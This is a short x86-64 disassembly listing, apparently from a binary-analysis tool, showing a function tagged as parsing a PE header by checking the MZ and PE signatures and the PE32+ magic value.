mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14003ac8e
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14003d1f0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003d218
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14003d218
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret